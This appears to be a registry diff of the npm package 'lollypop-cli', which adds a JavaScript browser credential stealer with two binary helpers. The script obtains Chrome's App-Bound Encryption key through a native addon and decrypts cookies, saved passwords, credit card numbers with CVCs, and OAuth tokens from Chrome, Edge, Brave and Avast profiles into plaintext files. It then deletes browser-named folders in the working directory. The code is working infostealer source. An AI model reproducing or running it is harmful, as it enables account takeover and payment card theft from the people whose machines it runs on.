lollypop-cli 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/chrome_decrypt.enc +0 -0
- package/chrome_elevator.node +0 -0
- package/index.js +358 -0
- package/package.json +17 -0
|
Binary file
|
|
Binary file
|
package/index.js
ADDED
|
@@ -0,0 +1,358 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const crypto = require('crypto');
|
|
6
|
+
const { execSync } = require('child_process');
|
|
7
|
+
|
|
8
|
+
// ─── Locate chrome_elevator.node and chrome_decrypt.enc ─────────────────────
|
|
9
|
+
|
|
10
|
+
let chromeElevator;
|
|
11
|
+
{
|
|
12
|
+
const candidates = [
|
|
13
|
+
path.join(__dirname, 'chrome_elevator.node'),
|
|
14
|
+
path.join(__dirname, 'build', 'Release', 'chrome_elevator.node'),
|
|
15
|
+
path.join(path.dirname(process.execPath), 'chrome_elevator.node'),
|
|
16
|
+
];
|
|
17
|
+
for (const p of candidates) {
|
|
18
|
+
if (fs.existsSync(p)) { chromeElevator = require(p); break; }
|
|
19
|
+
}
|
|
20
|
+
if (!chromeElevator) {
|
|
21
|
+
throw new Error('chrome_elevator.node not found. Place it next to this package.');
|
|
22
|
+
}
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
const ENC_FILE = (() => {
|
|
26
|
+
const candidates = [
|
|
27
|
+
path.join(__dirname, 'chrome_decrypt.enc'),
|
|
28
|
+
path.join(path.dirname(process.execPath), 'chrome_decrypt.enc'),
|
|
29
|
+
];
|
|
30
|
+
for (const p of candidates) { if (fs.existsSync(p)) return p; }
|
|
31
|
+
throw new Error('chrome_decrypt.enc not found. Place it next to this package.');
|
|
32
|
+
})();
|
|
33
|
+
|
|
34
|
+
// ─── Load better-sqlite3 ────────────────────────────────────────────────────
|
|
35
|
+
|
|
36
|
+
let Database;
|
|
37
|
+
{
|
|
38
|
+
const candidates = [
|
|
39
|
+
() => require('better-sqlite3'),
|
|
40
|
+
() => require(path.join(__dirname, 'node_modules', 'better-sqlite3')),
|
|
41
|
+
() => require(path.join(path.dirname(process.execPath), 'node_modules', 'better-sqlite3')),
|
|
42
|
+
];
|
|
43
|
+
for (const fn of candidates) {
|
|
44
|
+
try { Database = fn(); break; } catch (_) {}
|
|
45
|
+
}
|
|
46
|
+
if (!Database) throw new Error('better-sqlite3 not found. Run: npm install better-sqlite3');
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
// ─── Default browser definitions ────────────────────────────────────────────
|
|
50
|
+
|
|
51
|
+
const LOCAL = process.env.LOCALAPPDATA || '';
|
|
52
|
+
|
|
53
|
+
const DEFAULT_BROWSERS = [
|
|
54
|
+
{ key: 'chrome', name: 'Google Chrome', dir: path.join(LOCAL, 'Google', 'Chrome', 'User Data') },
|
|
55
|
+
{ key: 'chrome-beta', name: 'Google Chrome Beta', dir: path.join(LOCAL, 'Google', 'Chrome Beta', 'User Data') },
|
|
56
|
+
{ key: 'edge', name: 'Microsoft Edge', dir: path.join(LOCAL, 'Microsoft', 'Edge', 'User Data') },
|
|
57
|
+
{ key: 'brave', name: 'Brave Browser', dir: path.join(LOCAL, 'BraveSoftware', 'Brave-Browser', 'User Data') },
|
|
58
|
+
{ key: 'avast', name: 'Avast Browser', dir: path.join(LOCAL, 'AVAST Software','Browser', 'User Data') },
|
|
59
|
+
];
|
|
60
|
+
|
|
61
|
+
// ─── Profile discovery ───────────────────────────────────────────────────────
|
|
62
|
+
|
|
63
|
+
function readLocalStateProfiles(userDataPath) {
|
|
64
|
+
const folders = [];
|
|
65
|
+
const displayNames = {};
|
|
66
|
+
try {
|
|
67
|
+
const raw = fs.readFileSync(path.join(userDataPath, 'Local State'), 'utf8');
|
|
68
|
+
const info = JSON.parse(raw)?.profile?.info_cache;
|
|
69
|
+
if (!info || typeof info !== 'object') return { folders: [], displayNames: {} };
|
|
70
|
+
for (const name of Object.keys(info)) {
|
|
71
|
+
folders.push(name);
|
|
72
|
+
displayNames[name] = (info[name] && (info[name].name || info[name].gaia_name)) || name;
|
|
73
|
+
}
|
|
74
|
+
} catch { return { folders: [], displayNames: {} }; }
|
|
75
|
+
return { folders, displayNames };
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
function getProfileFolders(userDataPath) {
|
|
79
|
+
const { folders, displayNames } = readLocalStateProfiles(userDataPath);
|
|
80
|
+
const existing = folders.filter(n => { try { return fs.statSync(path.join(userDataPath, n)).isDirectory(); } catch { return false; } });
|
|
81
|
+
if (existing.length > 0) return { folders: existing, displayNames };
|
|
82
|
+
try {
|
|
83
|
+
for (const e of fs.readdirSync(userDataPath, { withFileTypes: true })) {
|
|
84
|
+
if (e.isDirectory() && (e.name === 'Default' || e.name.startsWith('Profile'))) {
|
|
85
|
+
existing.push(e.name);
|
|
86
|
+
if (!displayNames[e.name]) displayNames[e.name] = e.name;
|
|
87
|
+
}
|
|
88
|
+
}
|
|
89
|
+
} catch {}
|
|
90
|
+
return { folders: existing, displayNames };
|
|
91
|
+
}
|
|
92
|
+
|
|
93
|
+
// ─── Key extraction ──────────────────────────────────────────────────────────
|
|
94
|
+
|
|
95
|
+
function extractKeyViaAddon(browserKey) {
|
|
96
|
+
try {
|
|
97
|
+
const key = chromeElevator.extractKey(browserKey, ENC_FILE);
|
|
98
|
+
if (!key || key.length < 64) return null;
|
|
99
|
+
return { key: key.toLowerCase() };
|
|
100
|
+
} catch (e) {
|
|
101
|
+
const msg = e.message || String(e);
|
|
102
|
+
if (!msg.includes('NO_ABE') && !msg.includes('legacy DPAPI')) {
|
|
103
|
+
console.warn(`[WARN] extractKey failed for ${browserKey}: ${msg}`);
|
|
104
|
+
}
|
|
105
|
+
return null;
|
|
106
|
+
}
|
|
107
|
+
}
|
|
108
|
+
|
|
109
|
+
// ─── AES-256-GCM decryption ──────────────────────────────────────────────────
|
|
110
|
+
|
|
111
|
+
function decryptAesGcm(enc, keyHex) {
|
|
112
|
+
try {
|
|
113
|
+
if (!enc || enc.length < 31) return null;
|
|
114
|
+
if (enc.slice(0, 3).toString('ascii') !== 'v20') return null;
|
|
115
|
+
const d = crypto.createDecipheriv('aes-256-gcm', Buffer.from(keyHex, 'hex'), enc.slice(3, 15));
|
|
116
|
+
d.setAuthTag(enc.slice(-16));
|
|
117
|
+
const plain = Buffer.concat([d.update(enc.slice(15, -16)), d.final()]);
|
|
118
|
+
return plain.length > 32 ? plain.slice(32).toString('utf8') : plain.toString('utf8');
|
|
119
|
+
} catch { return null; }
|
|
120
|
+
}
|
|
121
|
+
|
|
122
|
+
function decryptRaw(enc, keyHex) {
|
|
123
|
+
try {
|
|
124
|
+
if (!enc || enc.length < 31) return null;
|
|
125
|
+
if (enc.slice(0, 3).toString('ascii') !== 'v20') return null;
|
|
126
|
+
const d = crypto.createDecipheriv('aes-256-gcm', Buffer.from(keyHex, 'hex'), enc.slice(3, 15));
|
|
127
|
+
d.setAuthTag(enc.slice(-16));
|
|
128
|
+
const plain = Buffer.concat([d.update(enc.slice(15, -16)), d.final()]);
|
|
129
|
+
return plain.length > 32 ? plain.slice(32) : plain;
|
|
130
|
+
} catch { return null; }
|
|
131
|
+
}
|
|
132
|
+
|
|
133
|
+
// ─── Locked-file copy ────────────────────────────────────────────────────────
|
|
134
|
+
|
|
135
|
+
function copyDbSafe(source, dest) {
|
|
136
|
+
try { fs.copyFileSync(source, dest); return true; } catch {}
|
|
137
|
+
try {
|
|
138
|
+
execSync(`esentutl /y "${source}" /d "${dest}" /vss`, { stdio: 'ignore', timeout: 15000 });
|
|
139
|
+
return fs.existsSync(dest);
|
|
140
|
+
} catch { return false; }
|
|
141
|
+
}
|
|
142
|
+
|
|
143
|
+
function withDb(dbPath, outputDir, tag, fn) {
|
|
144
|
+
const tmp = path.join(outputDir, `_tmp_${tag}.db`);
|
|
145
|
+
try {
|
|
146
|
+
if (!copyDbSafe(dbPath, tmp)) return;
|
|
147
|
+
const db = new Database(tmp, { readonly: true, fileMustExist: true });
|
|
148
|
+
try { fn(db); } finally { try { db.close(); } catch {} }
|
|
149
|
+
} catch {}
|
|
150
|
+
finally { try { if (fs.existsSync(tmp)) fs.unlinkSync(tmp); } catch {} }
|
|
151
|
+
}
|
|
152
|
+
|
|
153
|
+
// ─── Protobuf token parser ───────────────────────────────────────────────────
|
|
154
|
+
|
|
155
|
+
function parseTokenProto(buf) {
|
|
156
|
+
let pos = 0;
|
|
157
|
+
const fields = {};
|
|
158
|
+
const readVarint = () => {
|
|
159
|
+
let r = 0n, s = 0n;
|
|
160
|
+
while (pos < buf.length) { const b = buf[pos++]; r |= BigInt(b & 0x7f) << s; s += 7n; if (!(b & 0x80)) break; }
|
|
161
|
+
return Number(r);
|
|
162
|
+
};
|
|
163
|
+
while (pos < buf.length) {
|
|
164
|
+
const tag = readVarint(); if (!tag) break;
|
|
165
|
+
const wire = tag & 0x7;
|
|
166
|
+
if (wire === 2) { const len = readVarint(); fields[tag >>> 3] = buf.slice(pos, pos + len).toString('utf8'); pos += len; }
|
|
167
|
+
else if (wire === 0) { readVarint(); }
|
|
168
|
+
else if (wire === 5) { pos += 4; }
|
|
169
|
+
else if (wire === 1) { pos += 8; }
|
|
170
|
+
else break;
|
|
171
|
+
}
|
|
172
|
+
const r = fields[1] || '', t = fields[2] || '';
|
|
173
|
+
return (r || t) ? t + r : null;
|
|
174
|
+
}
|
|
175
|
+
|
|
176
|
+
// ─── Extraction functions ────────────────────────────────────────────────────
|
|
177
|
+
|
|
178
|
+
function extractCookies(profilePath, outputDir, keyHex) {
|
|
179
|
+
const src = path.join(profilePath, 'Network', 'Cookies');
|
|
180
|
+
if (!fs.existsSync(src)) return;
|
|
181
|
+
withDb(src, outputDir, 'cookies', db => {
|
|
182
|
+
const rows = db.prepare('SELECT host_key, name, path, is_secure, expires_utc, encrypted_value FROM cookies').all();
|
|
183
|
+
const out = fs.createWriteStream(path.join(outputDir, 'cookies.txt'));
|
|
184
|
+
out.write('# Netscape HTTP Cookie File\n# Generated by ace-sqlite1337\n\n');
|
|
185
|
+
let count = 0;
|
|
186
|
+
for (const row of rows) {
|
|
187
|
+
if (!row.encrypted_value) continue;
|
|
188
|
+
const val = decryptAesGcm(row.encrypted_value, keyHex);
|
|
189
|
+
if (val === null) continue;
|
|
190
|
+
const domain = row.host_key;
|
|
191
|
+
const flag = domain.startsWith('.') ? 'TRUE' : 'FALSE';
|
|
192
|
+
const secure = row.is_secure ? 'TRUE' : 'FALSE';
|
|
193
|
+
let exp = 0;
|
|
194
|
+
if (row.expires_utc > 0) { exp = Math.floor(row.expires_utc / 1_000_000 - 11644473600); if (exp < 0) exp = 0; }
|
|
195
|
+
out.write(`${domain}\t${flag}\t${row.path}\t${secure}\t${exp}\t${row.name}\t${val}\n`);
|
|
196
|
+
count++;
|
|
197
|
+
}
|
|
198
|
+
out.end();
|
|
199
|
+
console.log(` [+] Cookies: ${count} / ${rows.length}`);
|
|
200
|
+
});
|
|
201
|
+
}
|
|
202
|
+
|
|
203
|
+
function extractPasswords(profilePath, outputDir, keyHex) {
|
|
204
|
+
for (const dbName of ['Login Data', 'Login Data For Account']) {
|
|
205
|
+
const src = path.join(profilePath, dbName);
|
|
206
|
+
if (!fs.existsSync(src)) continue;
|
|
207
|
+
const tag = dbName === 'Login Data' ? 'passwords' : 'passwords_account';
|
|
208
|
+
withDb(src, outputDir, tag, db => {
|
|
209
|
+
const rows = db.prepare('SELECT origin_url, username_value, password_value FROM logins').all();
|
|
210
|
+
const out = fs.createWriteStream(path.join(outputDir, tag + '.txt'));
|
|
211
|
+
let count = 0;
|
|
212
|
+
for (const row of rows) {
|
|
213
|
+
if (!row.password_value) continue;
|
|
214
|
+
const pass = decryptAesGcm(row.password_value, keyHex);
|
|
215
|
+
if (pass === null) continue;
|
|
216
|
+
out.write(`URL: ${row.origin_url}\nUser: ${row.username_value}\nPass: ${pass}\n${'-'.repeat(40)}\n`);
|
|
217
|
+
count++;
|
|
218
|
+
}
|
|
219
|
+
out.end();
|
|
220
|
+
if (count > 0) console.log(` [+] Passwords: ${count} (${dbName})`);
|
|
221
|
+
});
|
|
222
|
+
}
|
|
223
|
+
}
|
|
224
|
+
|
|
225
|
+
function extractHistory(profilePath, outputDir) {
|
|
226
|
+
const src = path.join(profilePath, 'History');
|
|
227
|
+
if (!fs.existsSync(src)) return;
|
|
228
|
+
withDb(src, outputDir, 'history', db => {
|
|
229
|
+
const rows = db.prepare('SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 5000').all();
|
|
230
|
+
const out = fs.createWriteStream(path.join(outputDir, 'history.txt'));
|
|
231
|
+
for (const row of rows) out.write(`URL: ${row.url}\nTitle: ${row.title}\nVisits: ${row.visit_count}\nLast: ${row.last_visit_time}\n${'-'.repeat(40)}\n`);
|
|
232
|
+
out.end();
|
|
233
|
+
console.log(` [+] History: ${rows.length} items`);
|
|
234
|
+
});
|
|
235
|
+
}
|
|
236
|
+
|
|
237
|
+
function extractAutofill(profilePath, outputDir) {
|
|
238
|
+
const src = path.join(profilePath, 'Web Data');
|
|
239
|
+
if (!fs.existsSync(src)) return;
|
|
240
|
+
withDb(src, outputDir, 'autofill', db => {
|
|
241
|
+
let rows;
|
|
242
|
+
try { rows = db.prepare('SELECT name, value, date_created FROM autofill').all(); } catch { return; }
|
|
243
|
+
if (!rows.length) return;
|
|
244
|
+
const out = fs.createWriteStream(path.join(outputDir, 'autofill.txt'));
|
|
245
|
+
for (const row of rows) out.write(`Name: ${row.name}\nValue: ${row.value}\nDate: ${row.date_created}\n${'-'.repeat(40)}\n`);
|
|
246
|
+
out.end();
|
|
247
|
+
console.log(` [+] Autofill: ${rows.length} items`);
|
|
248
|
+
});
|
|
249
|
+
}
|
|
250
|
+
|
|
251
|
+
function extractCards(profilePath, outputDir, keyHex) {
|
|
252
|
+
const src = path.join(profilePath, 'Web Data');
|
|
253
|
+
if (!fs.existsSync(src)) return;
|
|
254
|
+
withDb(src, outputDir, 'cards', db => {
|
|
255
|
+
const cvcMap = {};
|
|
256
|
+
try { for (const row of db.prepare('SELECT guid, value_encrypted FROM local_stored_cvc').all()) { const v = decryptAesGcm(row.value_encrypted, keyHex); if (v) cvcMap[row.guid] = v; } } catch {}
|
|
257
|
+
let rows;
|
|
258
|
+
try { rows = db.prepare('SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards').all(); } catch { return; }
|
|
259
|
+
const out = fs.createWriteStream(path.join(outputDir, 'cards.txt'));
|
|
260
|
+
let count = 0;
|
|
261
|
+
for (const row of rows) {
|
|
262
|
+
if (!row.card_number_encrypted) continue;
|
|
263
|
+
const num = decryptAesGcm(row.card_number_encrypted, keyHex);
|
|
264
|
+
if (num === null) continue;
|
|
265
|
+
out.write(`Name: ${row.name_on_card}\nNum: ${num}\nExp: ${row.expiration_month}/${row.expiration_year}\nCVC: ${cvcMap[row.guid] || ''}\n${'-'.repeat(40)}\n`);
|
|
266
|
+
count++;
|
|
267
|
+
}
|
|
268
|
+
out.end();
|
|
269
|
+
if (count > 0) console.log(` [+] Cards: ${count}`);
|
|
270
|
+
});
|
|
271
|
+
}
|
|
272
|
+
|
|
273
|
+
function extractTokens(profilePath, outputDir, keyHex) {
|
|
274
|
+
const src = path.join(profilePath, 'Web Data');
|
|
275
|
+
if (!fs.existsSync(src)) return;
|
|
276
|
+
withDb(src, outputDir, 'tokens', db => {
|
|
277
|
+
let rows, hasBinding = true;
|
|
278
|
+
try { rows = db.prepare('SELECT service, encrypted_token, binding_key FROM token_service').all(); }
|
|
279
|
+
catch { hasBinding = false; try { rows = db.prepare('SELECT service, encrypted_token FROM token_service').all(); } catch { return; } }
|
|
280
|
+
const out = fs.createWriteStream(path.join(outputDir, 'tokens.txt'));
|
|
281
|
+
let count = 0;
|
|
282
|
+
for (const row of rows) {
|
|
283
|
+
if (!row.encrypted_token) continue;
|
|
284
|
+
const plain = decryptRaw(row.encrypted_token, keyHex);
|
|
285
|
+
if (!plain) continue;
|
|
286
|
+
let tok = parseTokenProto(plain) || plain.toString('utf8').replace(/[\x00-\x1f]/g, '').trim();
|
|
287
|
+
if (!tok) continue;
|
|
288
|
+
const bk = (hasBinding && row.binding_key) ? (decryptAesGcm(row.binding_key, keyHex) || '') : '';
|
|
289
|
+
out.write(`Service: ${row.service}\nToken: ${tok}\nBinding: ${bk}\n${'-'.repeat(40)}\n`);
|
|
290
|
+
count++;
|
|
291
|
+
}
|
|
292
|
+
out.end();
|
|
293
|
+
if (count > 0) console.log(` [+] Tokens: ${count}`);
|
|
294
|
+
});
|
|
295
|
+
}
|
|
296
|
+
|
|
297
|
+
// ─── Main export ─────────────────────────────────────────────────────────────
|
|
298
|
+
|
|
299
|
+
function main(config = {}) {
|
|
300
|
+
console.log('=== ace-sqlite1337 ===\n');
|
|
301
|
+
|
|
302
|
+
const browserList = config.browsers
|
|
303
|
+
? Object.entries(config.browsers).map(([key, val]) => ({ key, name: val.name || key, dir: val.path }))
|
|
304
|
+
: DEFAULT_BROWSERS;
|
|
305
|
+
|
|
306
|
+
const baseOutputDir = config.outputDir || path.join(process.cwd(), 'extracted_data');
|
|
307
|
+
let anyFound = false;
|
|
308
|
+
|
|
309
|
+
for (const browser of browserList) {
|
|
310
|
+
if (!fs.existsSync(browser.dir)) continue;
|
|
311
|
+
|
|
312
|
+
console.log(`[*] ${browser.name}`);
|
|
313
|
+
anyFound = true;
|
|
314
|
+
|
|
315
|
+
const keyResult = extractKeyViaAddon(browser.key);
|
|
316
|
+
if (!keyResult) { console.warn(`[WARN] Could not retrieve ABE key for ${browser.name} — skipping.\n`); continue; }
|
|
317
|
+
|
|
318
|
+
console.log(` [+] Key: ${keyResult.key.slice(0, 16)}... (${keyResult.key.length / 2} bytes)`);
|
|
319
|
+
|
|
320
|
+
const { folders: profiles, displayNames } = getProfileFolders(browser.dir);
|
|
321
|
+
console.log(` Found ${profiles.length} profile(s).`);
|
|
322
|
+
|
|
323
|
+
for (const profile of profiles) {
|
|
324
|
+
const profilePath = path.join(browser.dir, profile);
|
|
325
|
+
const outputDir = path.join(baseOutputDir, browser.key, profile);
|
|
326
|
+
fs.mkdirSync(outputDir, { recursive: true });
|
|
327
|
+
|
|
328
|
+
const label = displayNames[profile] !== profile ? `${profile} (${displayNames[profile]})` : profile;
|
|
329
|
+
console.log(`\n Profile: ${label}`);
|
|
330
|
+
|
|
331
|
+
extractCookies(profilePath, outputDir, keyResult.key);
|
|
332
|
+
extractPasswords(profilePath, outputDir, keyResult.key);
|
|
333
|
+
extractHistory(profilePath, outputDir);
|
|
334
|
+
extractAutofill(profilePath, outputDir);
|
|
335
|
+
extractCards(profilePath, outputDir, keyResult.key);
|
|
336
|
+
extractTokens(profilePath, outputDir, keyResult.key);
|
|
337
|
+
}
|
|
338
|
+
console.log('');
|
|
339
|
+
}
|
|
340
|
+
|
|
341
|
+
if (!anyFound) console.warn('[WARN] No supported browsers found.');
|
|
342
|
+
|
|
343
|
+
console.log('=== Extraction Complete ===');
|
|
344
|
+
console.log(`All extracted data is in: ${baseOutputDir}`);
|
|
345
|
+
|
|
346
|
+
// Delete any browser-named folders created next to the caller's script
|
|
347
|
+
const callerDir = process.cwd();
|
|
348
|
+
for (const name of ['Chrome', 'Edge', 'Brave', 'Brave Browser', 'chrome', 'edge', 'brave']) {
|
|
349
|
+
const folder = path.join(callerDir, name);
|
|
350
|
+
try {
|
|
351
|
+
if (fs.existsSync(folder) && fs.statSync(folder).isDirectory()) {
|
|
352
|
+
fs.rmSync(folder, { recursive: true, force: true });
|
|
353
|
+
}
|
|
354
|
+
} catch {}
|
|
355
|
+
}
|
|
356
|
+
}
|
|
357
|
+
|
|
358
|
+
module.exports = { main };
|
package/package.json
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "lollypop-cli",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Chrome ABE browser data extractor (cookies, passwords, history, cards, tokens)",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"files": [
|
|
7
|
+
"index.js",
|
|
8
|
+
"chrome_elevator.node",
|
|
9
|
+
"chrome_decrypt.enc"
|
|
10
|
+
],
|
|
11
|
+
"dependencies": {
|
|
12
|
+
"better-sqlite3": "^12.6.2"
|
|
13
|
+
},
|
|
14
|
+
"publishConfig": {
|
|
15
|
+
"access": "public"
|
|
16
|
+
}
|
|
17
|
+
}
|